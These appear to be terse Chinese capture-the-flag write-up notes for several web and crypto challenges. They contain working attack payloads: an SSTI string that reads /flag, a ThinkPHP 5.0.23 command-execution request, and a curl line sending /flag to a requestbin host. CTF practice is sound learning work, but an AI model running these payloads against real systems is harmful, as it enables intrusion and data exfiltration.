打开题目的主要界面是一个谷歌的搜索界面,在搜索框输入内容后会有一个新页面
不管输入什么,输出都是P3’s girlfriend is :xxxxxxx
在这个页面查看源代码,发现有一段被注释的代码
<!--ssssssti & a little trick --> P3's girlfirend is : <script>alert(1);</script><br><hr>
从这段代码可以知道是ssti注入
试了试config,有回显
查看flag
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
查看源码没有什么收获,主页上写的thinkphp5,而版本就是5.0.23
查看根目录,看到了flag
`POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
随便登陆就是这样的界面
抓包有hint,查看L0g1in.php
卡了很久,大佬提示改时间戳
得到了flag
flag <!--ZmxhZ3s4YzImYzc3OC1INGYwLTQ2YWUtODM3YS 1mNDE4MDlwOGYyZTF9Cg==-->
import requests
url = 'http://a61c516a-de45-486f-a5ad-0a55e8fb4c8f.node3.buuoj.cn//{}.php'
s = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca','Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce','Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir','Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm','Bk', 'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc','Lv', 'Ts', 'Og', 'Uue']
text = ''
for i in s:
r = requests.get(url=url.format(i))
if r.status_code != 404:
print(i)
text += r.text
print(r.text)
print(text)
curl http://requestbin.xxx -X POST -d "`head /flag`"
得到flag
直接base64解码 QkpEe1czbGMwbWVfVDBfQkpEQ1RGfQ==
通过题目解码得到如下明文,但并不是flag
有两端文字,想到了维吉尼亚密码
yanzi就是密钥,后面的密文,千千秀字可以直接解密